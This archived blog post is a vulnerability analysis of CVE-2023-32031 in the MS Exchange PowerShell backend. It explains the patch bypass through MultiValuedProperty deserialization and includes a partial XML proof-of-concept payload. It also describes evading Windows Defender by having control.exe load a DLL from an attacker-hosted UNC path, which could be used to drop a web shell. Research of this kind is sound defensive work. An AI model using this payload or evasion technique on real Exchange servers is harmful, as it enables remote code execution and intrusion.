Download as pdf or txt
Download as pdf or txt
You are on page 1of 15

The Wayback Machine - https://web.archive.org/web/20230704063212/https://littlepwner.github.

io/po…

Out Of Band Writes

CVE-2023-32031 MS Exchange
PowerShell backend RCE
Jan 7, 2023
After reading Starlabs’s blog about an interesting variant of CVE-2022-41082 and
seeing a tweet by chudyPB about a new bypass that he found. I get carious to
analyzing his bypasses (known as CVE-2023-32031 and CVE-2023-21529)

To understand this very creative bypass please read ZDI’s blog about CVE-2022-
41082 first.

Patch diff
The most important patch is on `ChainedSerializationBinder` class:

1. The blacklist is improved with new types


(`Microsoft.Diagnostics.Runtime.Utilities.Command` is the one which can
be used for RCE, we will talk about it later)

1. `ValidateResultType` is removed and `IsTypeExplicitlyDenied` method is


changed.
The behavior of `IsTypeExplicitlyDenied` methods is changed and a new class
called `TypeVisitor` is added.

in the new version instated of checking type with `ValidateResultType`(which


calls `IsTypeExplicitlyDenied`) method, It will be checked with
`InternalVisitType` in `TypeVisitor` class
this method will check the type recursively and calls `validationDelegate` (Which
is `CheckDenyOnThisExplicitType` method) for that type and each time it well set
the type to type.BaseType (this should kill variants like CVE-2023-21707),

Also, It will call `VisitenericType` if the type is a Generic type:


this method will pass all argument types in `type.GetGenericArguments()` and
also `type.GetGenericTypeDefinition()` to `InternalVisitType` to validate
them.

This is the most critical point in the patch, in old version the

`type.GetGenericArguments()` and `type.GetGenericTypeDefinition()` will

not be validated.

Based on the patch we could use a generic type to bypass the validation, but how?

Abusing MultiValuedProperty
the type `MultiValuedProperty` is a Generic type allowed in
`SerializationTypeConverter`:
This class has a method named `ConvertInput` which will call `ConvertValue`
method with the type of the argument type of MultiValuedProperty and object item

the `ConvertValue` method contains logic to find a right converter for the given
type and `originalvalue`, this method is kinda the same as `FigureConversion`
in `System.Management.Automation.LanguagePrimitives`

the only limitation is `ValidateResultType`, but as mentioned this method only


checks the type against the imperfect blacklist so as long as our type is not in
blacklist we are fine here.

The `ConvertInput` method will be called by `AddValue` method:

Which will be called by `AddValues` method:


This method will be called multiple places including `MultiValuedProperty`
constructor.

with those primitives, we can call a constructor with a single argument. let’s see
`Microsoft.Diagnostics.Runtime.Utilities.Command` constructor:
We have a type that was not blacklisted and has a single argument constructor
which will call `System.Diagnostics.Process.Start`.

here is the idea:

1. Get a `MultiValuedProperty<Command>` type via


`SerializationTypeConverter`

2. Call its constructor with our arbitrary command which will result in a call to
`AddValues`, which we can call the `Command` constructor in `ConvertValue`
PoC:

<Obj RefId="13">
<TN RefId="0">
<T>System.Management.Automation.PSCustomObject</T>
<T>System.Object</T>
</TN>
<MS>
<S N="N">-Identity:</S>
<!--Object type section-->
<Obj N="V" RefId="14">
<TN RefId="2">
<T>System.ServiceProcess.ServiceController</T>
<T>System.Object</T>
</TN>
<ToString>System.ServiceProcess.ServiceController</ToSt

<Props>
<S N="Name">Type</S>
<Obj N="TargetTypeForDeserialization">
<TN RefId="2">
<T>System.Exception</T>
<T>System.Object</T>
</TN>
<MS>
<BA N="SerializationData">AAEAAAD/////AQAAA
</MS>
</Obj>
</Props>

<S>mspaint.exe</S>

</Obj>
</MS>
</Obj>
Call Stack:

Payload delivery
well, I could not use the method mentained on starlab’s blog to deliver the payload
(We need to call the constructor with an argument) and I also prefer a Python version
that could be used anywhere.

So I used ProxyNotsShell Poc and some code of pypsrp library to communicate with
exchange PowerShell backend using kerberos auth.

Bypass Defender
If you enable the windows Defender Real-time protection and run exploit you will
face this:

After some tries I noticed that the rule would not trigger for all binary files and some
of them would execute without trigger for example `control.exe`, this binary could
be used to load a DLL, and It also supports the UNC path.
So the attacker only needs to host their DLL somewhere that which exchange can
access (the extension also does not matter) and run control.exe `\\host\a.edb`

There are a lot of other lol bins which don’t trigger Defender and could be used to do
something useful (Download Web Shell, etc…) This was just an example :D

dotnet exchange CVE-2023-32031 deserialization


© 2023 Out Of Band Writes Powered by Hugo️️ ️Theme Paper

You might also like